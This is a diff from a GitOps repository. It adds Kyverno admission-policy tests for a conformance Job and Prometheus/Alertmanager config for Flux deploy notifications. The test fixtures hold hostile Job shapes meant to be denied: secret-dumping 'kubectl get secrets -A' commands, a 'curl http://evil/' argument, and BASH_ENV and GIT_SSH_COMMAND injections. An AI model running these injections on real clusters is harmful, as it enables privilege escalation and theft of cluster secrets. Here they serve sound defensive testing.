+                operator: GreaterThan
+                value: 0

platform/kyverno/tests/conformance-trigger/kyverno-test.yaml

@@ -19,20 +19,48 @@ resources:
 userinfo: user-info.yaml
 results:
   # ---- the committed run is ADMITTED ----
+  # `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
+  # init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
+  # so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
+  # 2am against the live cluster. `good-run` remains the minimal shape.
   - policy: conformance-trigger-job-shape
     rule: trigger-may-create-only-the-committed-conformance-run
     kind: Job
-    resources: [good-run]
+    resources: [good-run, real-template]
     result: pass
   - policy: conformance-trigger-job-shape
     rule: trigger-volumes-must-be-workspace-or-results
     kind: Job
-    resources: [good-run]
+    resources: [good-run, real-template]
     result: pass
   - policy: conformance-trigger-job-shape
     rule: trigger-args-must-be-the-committed-flags
     kind: Job
-    resources: [good-run]
+    resources: [good-run, real-template]
+    result: pass
+  # `real-template` is the only fixture WITH an init container, so it is the only one this
+  # rule reports on — a foreach over an absent list yields no result at all, which is why
+  # `good-run` is not listed here.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-initcontainers-must-be-the-committed-clone-step
+    kind: Job
+    resources: [real-template]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-declare-ephemeral-containers
+    kind: Job
+    resources: [good-run, real-template]
+    result: pass
+  # Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-env-names-must-be-the-committed-set
+    kind: Job
+    resources: [real-template]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-use-envfrom
+    kind: Job
+    resources: [good-run, real-template]
     result: pass
 
   # ---- THE escalation: runner SA + arbitrary command ----
@@ -55,3 +83,38 @@ results:
     kind: Job
     resources: [injected-args]
     result: fail
+
+  # ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
+  # Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
+  # before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
+  # is the coordinator's independent reproduction; keeping it here is what stops the hole
+  # reopening.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-initcontainers-must-be-the-committed-clone-step
+    kind: Job
+    resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
+    result: fail
+
+  # ---- and via the third container list nobody was reading ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-declare-ephemeral-containers
+    kind: Job
+    resources: [evil-ephemeral-container]
+    result: fail
+
+  # ---- and via `env`, the same mistake a third time ----
+  # `command` is pinned, so the injection moves to a variable the pinned command honours.
+  # BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
+  # execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
+  # rule — its container shape is perfect and only its env is hostile, which is exactly why the
+  # env rule has to exist separately.
+  - policy: conformance-trigger-job-shape
+    rule: trigger-env-names-must-be-the-committed-set
+    kind: Job
+    resources: [injected-env, injected-initcontainer-env]
+    result: fail
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-not-use-envfrom
+    kind: Job
+    resources: [envfrom-whole-secret]
+    result: fail

platform/kyverno/tests/conformance-trigger/resources.yaml

@@ -1,4 +1,76 @@
-# The committed shape — must be ADMITTED.
+# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
+# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
+# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
+# `results` are the only two volume names admission allows. Must be ADMITTED.
+#
+# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
+# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
+# securityContext, and the presence of the init container) in step with it.
+#
+# The init container carries NO args: its logic is baked into the runner image at
+# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
+# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
+# see `evil-initcontainer` below for the escalation it closes.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: real-template
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      securityContext:
+        runAsNonRoot: true
+        runAsUser: 65532
+        fsGroup: 65532
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          env:
+            - name: CONFORMANCE_GIT_SHA
+              value: "0123456789abcdef0123456789abcdef01234567"
+            # BY SECRET NAME ONLY — and as env, not as a volume.
+            - name: GITEA_USERNAME
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: username }
+            - name: GITEA_TOKEN
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: token }
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+      containers:
+        - name: chainsaw
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          workingDir: /workspace/src/conformance
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
+          env:
+            - name: CONF_ARTIFACTS
+              value: /results
+            - name: CONF_EMIT_ARTIFACTS_TGZ
+              value: "1"
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+            - { name: results, mountPath: /results }
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# The minimal committed shape — must be ADMITTED.
 apiVersion: batch/v1
 kind: Job
 metadata:
@@ -152,3 +224,241 @@ spec:
       volumes:
         - name: workspace
           emptyDir: {}
+---
+# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
+# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
+# INIT container running as the privileged conformance-runner SA. Before
+# `trigger-initcontainers-must-be-the-committed-clone-step` existed this was ADMITTED —
+# `pass: 3, fail: 0` — because every rule read `containers`, never `initContainers`, and
+# rule 1's `=(privileged): "false"` only ever applied to `containers[0]`.
+#
+# This is the coordinator's independent reproduction, kept verbatim so it stays failing.
+# Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-initcontainer
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: sneak
+          image: docker.io/library/alpine:latest
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+          securityContext:
+            privileged: true
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# The committed clone entrypoint, but with `args` appended — i.e. the entrypoint used as a
+# vehicle for caller-supplied code. "No args" is the whole property that makes a pinned
+# command mean anything, so this must be DENIED even though image and command are correct.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: initcontainer-with-args
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          args: ["--exec", "curl http://evil/"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# A SECOND init container beside the legitimate clone step. A Kyverno array `pattern` would
+# admit this ("at least one element matches"), which is why the rule uses `deny` conditions
+# and caps the count. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: second-initcontainer
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+        - name: also-me
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# `env` was the third instance of the same mistake. `command` is pinned to ["./run.sh"], so the
+# injection moves to an env var bash itself honours: BASH_ENV is sourced before a non-interactive
+# script runs. Everything else here is the committed shape. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: injected-env
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3"]
+          env:
+            - name: CONF_ARTIFACTS
+              value: /results
+            - name: BASH_ENV
+              value: /workspace/src/conformance/_pwned
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# envFrom injects a whole Secret/ConfigMap as env, and its KEYS are nowhere in the Job — so it
+# would make the env-name allowlist unenforceable by inspection. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: envfrom-whole-secret
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3"]
+          envFrom:
+            - secretRef:
+                name: anything-in-this-namespace
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# The same, on the init container: its env names are allowlisted too, and the clone entrypoint
+# is the thing that reads them. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: injected-initcontainer-env
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      initContainers:
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/usr/local/bin/conformance-clone"]
+          env:
+            - name: CONFORMANCE_GIT_SHA
+              value: "0123456789abcdef0123456789abcdef01234567"
+            - name: GIT_SSH_COMMAND
+              value: "sh -c 'kubectl get secrets -A'"
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# `ephemeralContainers` — the third container list on a PodSpec, and as unread as
+# `initContainers` was. Upstream k8s is BELIEVED to reject this field in a pod template, so
+# this case may be unreachable in practice; the rule and this fixture exist because
+# "probably rejected upstream" is not a boundary. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-ephemeral-container
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      ephemeralContainers:
+        - name: debugger
+          image: docker.io/library/alpine:latest
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}

platform/monitoring/alerts.yaml

@@ -799,6 +799,123 @@ spec:
             summary: "Flux resource suspended: {{ $labels.kind }}/{{ $labels.name }}"
             description: "{{ $labels.kind }} {{ $labels.namespace }}/{{ $labels.name }} has been suspended for 1h — reconciliation/drift-correction is off."
             runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-suspended"
+        # ===================================================================================
+        # DEPLOY NOTIFICATIONS (added 2026-09-29). The only rules in this repo whose PURPOSE is to
+        # send mail on the HEALTHY path: the operator asked to be told when Flux starts applying a
+        # git change and when it finishes. Read the two together — they share one expression and
+        # differ only in `for` and severity.
+        #
+        # WHY A RULE AND NOT A FLUX Alert/Provider. Neither Flux event can be filtered into a
+        # deploy signal. Measured on prod 2026-09-29: a Kustomization emits ReconciliationSucceeded
+        # on EVERY interval tick (101 events in one hour across 16 Kustomizations) with the message
+        # "Reconciliation finished in 324ms, next run in 10m0s" — byte-identical whether the apply
+        # changed anything or not; and `Progressing` is worse, because five Kustomizations re-apply
+        # the same object on every tick (event counts 2505/2504/2501/2495/2490), so anything keyed
+        # on it mails five times every ten minutes forever. The applied REVISION is the only signal
+        # that moves when and only when git moves. See the kube_flux_* block in
+        # kube-prometheus-stack.yaml for how it reaches the TSDB.
+        #
+        # THE EXPRESSION. `unless on (revision)` keeps a Kustomization only while its applied
+        # revision is absent from the set of revisions the GitRepository has fetched — i.e. while it
+        # is behind main. It empties itself as each Kustomization catches up, which is what makes
+        # the RESOLVED notification mean "the rollout completed" rather than "the alert timed out".
+        # Alertmanager's email-deploy receiver carries send_resolved: true for exactly that reason,
+        # and group_by: [alertname] collapses all 16 Kustomizations into one mail per rollout.
+        #
+        # TWO GUARDS, BOTH LOAD-BEARING, BOTH UNIT-TESTED (tests/flux-rollout.test.yaml):
+        #   * `and on () (count(...) > 0)` — if kube_flux_gitrepository_info is ABSENT (KSM rolled
+        #     without the ConfigMap, the flux RBAC lost, customResourceState reverted) then
+        #     `unless on (revision) <empty>` removes NOTHING and all 16 Kustomizations alert
+        #     forever, for no reason. That is the permanently-firing failure mode this repo already
+        #     shipped once (CNPG, 2026-09-12). The guard makes the missing-exporter case SILENT,
+        #     which is the correct direction for a notification — a broken exporter is what
+        #     FluxReconciliationFailure and the platform-health.monitoring-self rules are for.
+        #   * `unless on (namespace, name) (kube_flux_kustomization_suspended == 1)` — a suspended
+        #     Kustomization pins an old revision BY DESIGN, and would otherwise hold a rollout open
+        #     for as long as it stays suspended, so the resolved mail (the "it finished" half of the
+        #     feature) would never arrive. FluxResourceSuspended above is what reports that state.
+        #
+        # `revision!=""` on both sides: KSM omits a label whose path is absent, so a Kustomization
+        # that has never applied anything — or a GitRepository with no artifact yet — publishes the
+        # series with no `revision` label. Without the matcher those group together under the empty
+        # string and compare EQUAL, i.e. a never-applied Kustomization would read as converged.
+        #
+        # A THIRD THING THAT MUST NOT REGRESS — THE SEVERITY LABEL. These alerts are delivered
+        # because of the labels they do NOT carry as much as the ones they do. Do not "tidy" this
+        # pair by giving FluxRolloutInProgress a `severity`, and never `severity: info`: the chart's
+        # InfoInhibitor rule plus its `severity="info"` inhibit_rule suppress an info alert whenever
+        # it is the only thing firing in its namespace, which is every healthy deploy. Measured on
+        # prod 2026-09-30 — the alert fired correctly for 12 Kustomizations, resolved correctly, and
+        # was inhibited in between. The full reasoning is on the `notification: deploy` label below.
+        # ===================================================================================
+        - alert: FluxRolloutInProgress
+          expr: |
+            (
+              (
+                kube_flux_kustomization_info{revision!=""}
+                unless on (namespace, name) (kube_flux_kustomization_suspended == 1)
+              )
+              unless on (revision) kube_flux_gitrepository_info{name="flux-system", revision!=""}
+            )
+            and on () (count(kube_flux_gitrepository_info{name="flux-system", revision!=""}) > 0)
+          # NO `for:`, ON PURPOSE. Every other rule in this file waits, because every other rule
+          # reports a fault and a fault that clears in 30s is noise. This one reports an EVENT the
+          # operator asked to be told about, so the failure mode to avoid is the opposite: a `for:`
+          # of even 1m would silently swallow any rollout that converged faster than that (a manual
+          # `flux reconcile`, a change touching one Kustomization), and a deploy notification that
+          # only sometimes arrives is worse than no notification at all.
+          labels:
+            # ROUTED BY `notification`, AND DELIBERATELY CARRYING NO `severity` (fixed 2026-09-30).
+            # This alert originally used `severity: info`. That was WRONG, and wrong in the silent
+            # direction — measured on prod within minutes of the first real deploy.
+            # kube-prometheus-stack ships `general.rules` -> InfoInhibitor:
+            #     group by (namespace) (ALERTS{severity="info"} == 1)
+            #       unless on (namespace) group by (namespace)
+            #         (ALERTS{alertname!="InfoInhibitor", alertstate="firing", severity=~"warning|critical"} == 1)
+            # which fires for any namespace that has a firing info alert AND NOTHING ELSE WRONG in
+            # it; paired with the chart's inhibit_rule
+            #     source_matchers: [alertname="InfoInhibitor"]
+            #     target_matchers: [severity="info"]
+            #     equal: [namespace]
+            # the effect is that an info alert is suppressed EXACTLY WHEN it is the only thing
+            # happening in its namespace. For a deploy notification that is the only case that
+            # matters: on a healthy rollout of a healthy cluster, flux-system has no warning or
+            # critical alert, so InfoInhibitor fired and this alert never reached the receiver.
+            # Verified live: InfoInhibitor went active 2026-09-30T04:58:48Z, the same moment this
+            # alert began firing for 12 Kustomizations.
+            # Upstream's intent is explicit — `severity: info` means "only worth showing next to a
+            # real problem". A deploy notice is not that, so it must not claim that severity.
+            # `notification` is a label no inhibit_rule in the chart targets (all three match on
+            # severity values), and omitting `severity` also stops InfoInhibitor firing for
+            # flux-system at all. Route: platform/monitoring/kube-prometheus-stack.yaml matches
+            # `notification = "deploy"` -> the email-deploy receiver, subject "[FLUX] applying|applied".
+            notification: deploy
+          annotations:
+            summary: "Flux is applying a new revision — {{ $labels.name }} is behind main"
+            description: "Kustomization {{ $labels.namespace }}/{{ $labels.name }} has applied {{ $labels.revision }}, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
+            runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+        # The escalation: a rollout that STARTED and never finished. Same expression, so it cannot
+        # disagree with the notification above about what "behind main" means; 30m is comfortably
+        # past the slowest legitimate convergence (the longest Kustomization interval is 1h for
+        # cilium, but its dependents are 10m and a wave chain converges well inside 30m).
+        # severity: warning, so this one takes the normal email-warning path and reads as a fault.
+        - alert: FluxRolloutStuck
+          expr: |
+            (
+              (
+                kube_flux_kustomization_info{revision!=""}
+                unless on (namespace, name) (kube_flux_kustomization_suspended == 1)
+              )
+              unless on (revision) kube_flux_gitrepository_info{name="flux-system", revision!=""}
+            )
+            and on () (count(kube_flux_gitrepository_info{name="flux-system", revision!=""}) > 0)
+          for: 30m
+          labels:
+            severity: warning
+          annotations:
+            summary: "Flux rollout has not completed: {{ $labels.name }} stuck on an old revision"
+            description: "Kustomization {{ $labels.namespace }}/{{ $labels.name }} has been behind the flux-system GitRepository revision for 30m (applied {{ $labels.revision }}) — a git change started rolling out and has not converged. Check the Kustomization's Ready condition and its dependencies."
+            runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
 
 # =====================================================================================
 # Certificates — cert-manager

platform/monitoring/kube-prometheus-stack.yaml

@@ -131,6 +131,44 @@ spec:
               # page-worthy — notify fast, remind often
               group_wait: 10s
               repeat_interval: 1h
+            # DEPLOY NOTICES, not health alerts (added 2026-09-29). FluxRolloutInProgress fires
+            # the moment the applied revision diverges from main and RESOLVES when every
+            # Kustomization has caught up — so the FIRED mail is "a deploy started" and the
+            # RESOLVED mail is "it finished". Both halves are the product, which is why
+            # send_resolved must stay true on the receiver below.
+            #
+            # A DEDICATED ROUTE, because the default receiver is `email-warning`: without it a
+            # routine deploy arrives subject-lined "[WARNING]" and becomes indistinguishable from a
+            # real platform fault, which is how alert mail stops being read at all.
+            #
+            # MATCHES `notification`, NOT `severity` (corrected 2026-09-30). This route first read
+            # `severity = "info"`, which routed correctly and then had the mail SUPPRESSED before it
+            # was sent: the chart's own InfoInhibitor rule fires for any namespace holding a firing
+            # info alert with no warning/critical beside it, and its inhibit_rule
+            # (source alertname="InfoInhibitor" -> target severity="info", equal [namespace]) drops
+            # exactly that alert. A healthy deploy in a healthy flux-system is precisely that case,
+            # so the notification was inhibited on every occasion it was wanted. Measured live on
+            # prod 2026-09-30: InfoInhibitor went active at 04:58:48Z as the alert began firing.
+            # Routing on a non-severity label sidesteps all three of the chart's inhibit_rules,
+            # which match on severity values only. See the label's own comment in alerts.yaml.
+            - matchers: ['notification = "deploy"']
+              receiver: email-deploy
+              # One mail per ROLLOUT, not per Kustomization: the alert fires once per lagging
+              # Kustomization (16 possible), and grouping on alertname alone collapses them into a
+              # single mail that lists all of them. The default group_by would have split them by
+              # namespace as well — harmless today (all 16 are in flux-system) and wrong the moment
+              # a Kustomization lives elsewhere.
+              group_by: ["alertname"]
+              group_wait: 30s
+              # 2m, not the 5m default: group_interval also bounds how long a group's RESOLVED
+              # notification waits, and holding "the deploy finished" four minutes behind the
+              # deploy finishing makes the completion half of this feature feel broken.
+              group_interval: 2m
+              # A deploy notice is a statement about one revision, so re-sending it on the 12h
+              # default would just repeat old news. 24h is long enough never to fire twice for one
+              # rollout, while still re-nagging if a rollout is genuinely stuck for a whole day
+              # (FluxRolloutStuck, severity warning, is the real escalation for that case).
+              repeat_interval: 24h
         receivers:
           - name: email-warning
             email_configs:
@@ -144,6 +182,19 @@ spec:
                 send_resolved: true
                 headers:
                   subject: '[CRITICAL] {{ .CommonLabels.alertname }} ({{ .CommonLabels.namespace }})'
+          # Flux deploy notices (the `severity = "info"` route above).
+          - name: email-deploy
+            email_configs:
+              - to: "[email protected]"    # alert inbox (operator: change if a different inbox is wanted)
+                # BOTH transitions are the deliverable here: firing = "Flux started applying a new
+                # revision", resolved = "every Kustomization reached it". Turning this off would
+                # delete the completion notification, not merely reduce noise.
+                send_resolved: true
+                headers:
+                  # `[FLUX] applying` / `[FLUX] applied` — readable in a notification preview
+                  # without opening the mail, and never the word WARNING for a healthy deploy.
+                  # .Status is "firing" or "resolved" in Alertmanager's notification template data.
+                  subject: '[FLUX] {{ if eq .Status "firing" }}applying{{ else }}applied{{ end }} — {{ .CommonLabels.alertname }}'
 
     # --- Grafana: dashboards (R-OBS-03), surfaced in the C2 UI (docs/12) behind Keycloak SSO ---
     grafana:
@@ -272,11 +323,33 @@ spec:
       #     `config` alone does not restart the pod: after editing it, `kubectl -n monitoring rollout
       #     restart deploy/kube-prometheus-stack-kube-state-metrics`. Enabling it the first time
       #     changes the pod spec (new arg + volume), so the initial rollout is automatic.
+      # FORCE A POD ROLL WHEN `customResourceState.config` BELOW CHANGES. The chart renders that
+      # config into a ConfigMap and mounts it, but the KSM Deployment carries NO checksum annotation
+      # over it — documented in the block above, and the reason the Velero metrics needed a manual
+      # `rollout restart` when they were first tuned. So a PR that edits ONLY `config` changes the
+      # ConfigMap, leaves the pod spec byte-identical, and KSM keeps running the OLD collector set:
+      # the new metrics never appear and every alert reading them is inert, while the PR is merged
+      # and green. That is the exact shape of defect this repo keeps getting bitten by, so it is
+      # closed declaratively rather than by remembering an operator step. BUMP THIS VALUE IN THE
+      # SAME COMMIT as any `customResourceState.config` edit and Flux rolls the pod for you.
+      # (Same mechanism as grafana.podAnnotations/oidc-rollout above.)
+      podAnnotations:
+        homelab.keithjackson.dev/crs-config-rollout: "1"
       rbac:
         extraRules:
           - apiGroups: ["velero.io"]
             resources: ["schedules"]
             verbs: ["get", "list", "watch"]
+          # Flux applied-revision metrics (the kube_flux_* block at the end of `config` below).
+          # MANDATORY for the same measured reason as velero.io above: without read access KSM
+          # publishes the custom-resource-state metrics as an EMPTY SET and logs a forbidden
+          # error, which would leave FluxRolloutInProgress/FluxRolloutStuck inert — silently.
+          - apiGroups: ["kustomize.toolkit.fluxcd.io"]
+            resources: ["kustomizations"]
+            verbs: ["get", "list", "watch"]
+          - apiGroups: ["source.toolkit.fluxcd.io"]
+            resources: ["gitrepositories"]
+            verbs: ["get", "list", "watch"]
       customResourceState:
         enabled: true
         config:
@@ -328,6 +401,89 @@ spec:
                         labelsFromPath:
                           cron: [spec, schedule]
                           phase: [status, phase]
+              # --- FLUX APPLIED REVISION AS METRICS (added 2026-09-29) --------------------------
+              # WHY. Nothing in the TSDB could answer "is the cluster running the commit that is on
+              # main?", so "Flux started applying a git change" and "Flux is idle" were
+              # indistinguishable and a deploy could start, stall halfway and never finish with
+              # nothing to say so. Measured on prod 2026-09-29, all three candidate signals fail:
+              #   * gotk_* (scraped by flux-podmonitor.yaml) carries NO revision label anywhere —
+              #     gotk_reconcile_condition 120 series, gotk_suspend_status 40, not one with a
+              #     revision. It can say a Kustomization is unhealthy, never which commit it holds.
+              #   * the EVENT stream cannot be filtered into a deploy signal: a Kustomization emits
+              #     ReconciliationSucceeded on EVERY interval tick — 101 events in one hour across
+              #     16 Kustomizations — with the message "Reconciliation finished in 324ms, next run
+              #     in 10m0s", byte-identical whether the apply changed anything or not.
+              #   * `Progressing` is worse, not better: five Kustomizations re-apply the same object
+              #     on every single tick (2505/2504/2501/2495/2490 on one event object each), so
+              #     anything keyed on it fires five times every ten minutes, forever.
+              # The applied REVISION is the one signal that moves only when git moves, and it lives
+              # in these two objects' status and nowhere else:
+              #   GitRepository/flux-system  .status.artifact.revision   = what main is (poll 1m)
+              #   Kustomization/*            .status.lastAppliedRevision = what is applied
+              # Exporting both makes "applied != desired" a PromQL question, which is what
+              # FluxRolloutInProgress / FluxRolloutStuck ask (platform/monitoring/alerts.yaml).
+              #
+              # NAMING: kube_flux_*, NOT gotk_* — the same rule as kube_velero_schedule_* above.
+              # These are kube-state-metrics series ABOUT Kubernetes objects and must never be
+              # mistaken for the gotk_* family the Flux controllers themselves export.
+              #
+              # VERIFIED ON PROD before writing this (2026-09-29): both CRDs serve `v1` as the
+              # STORAGE version (kustomizations.kustomize.toolkit.fluxcd.io,
+              # gitrepositories.source.toolkit.fluxcd.io) and both status paths below are populated
+              # — artifact.revision=main@sha1:b93594b7…, and all 16 Kustomizations reporting that
+              # same revision as lastAppliedRevision.
+              #
+              # Cost: 2 series per Kustomization (16 today) + 1 for the GitRepository = 33.
+              - groupVersionKind:
+                  group: kustomize.toolkit.fluxcd.io
+                  version: v1
+                  kind: Kustomization
+                metricNamePrefix: kube_flux_kustomization
+                labelsFromPath:
+                  name: [metadata, name]
+                  namespace: [metadata, namespace]
+                metrics:
+                  - name: info
+                    help: "Revision a Flux Kustomization has applied (status.lastAppliedRevision)."
+                    each:
+                      type: Info
+                      info:
+                        # KSM OMITS a label whose path is absent (the same behaviour noted for the
+                        # Velero `phase` label above), so a Kustomization that has never applied
+                        # anything publishes this series with NO `revision` label at all rather than
+                        # an empty one. Every rule that reads it therefore matches revision!="" —
+                        # otherwise those would collapse together under the empty string and a
+                        # never-applied Kustomization would compare equal to a converged one.
+                        labelsFromPath:
+                          revision: [status, lastAppliedRevision]
+                  - name: suspended
+                    help: "1 if the Flux Kustomization is suspended (spec.suspend)."
+                    each:
+                      type: Gauge
+                      gauge:
+                        # nilIsZero is MANDATORY, exactly as for the Velero `paused` gauge above:
+                        # measured 2026-09-29, NONE of the 16 Kustomizations sets spec.suspend at
+                        # all. Without it this metric would not exist, and the `unless` that stops a
+                        # suspended Kustomization holding a rollout notification open forever would
+                        # silently match nothing.
+                        path: [spec, suspend]
+                        nilIsZero: true
+              - groupVersionKind:
+                  group: source.toolkit.fluxcd.io
+                  version: v1
+                  kind: GitRepository
+                metricNamePrefix: kube_flux_gitrepository
+                labelsFromPath:
+                  name: [metadata, name]
+                  namespace: [metadata, namespace]
+                metrics:
+                  - name: info
+                    help: "Revision of the artifact a Flux GitRepository has fetched (what main is)."
+                    each:
+                      type: Info
+                      info:
+                        labelsFromPath:
+                          revision: [status, artifact, revision]
       # MEMORY RAISED 2026-09-13 after 91 OOMKills. Measured, not guessed: working set 111 MiB
       # with a 6h peak of 123.3 MiB against the old 128Mi limit — KSM was dying on every spike,
       # roughly every 11 minutes (exit 137). That matters beyond the restarts: THIRTEEN alert

platform/monitoring/tests/flux-rollout.test.yaml

@@ -0,0 +1,268 @@
+# promtool rule-unit tests for FluxRolloutInProgress / FluxRolloutStuck — the deploy-notification
+# pair in the platform-health.flux group (platform/monitoring/alerts.yaml).
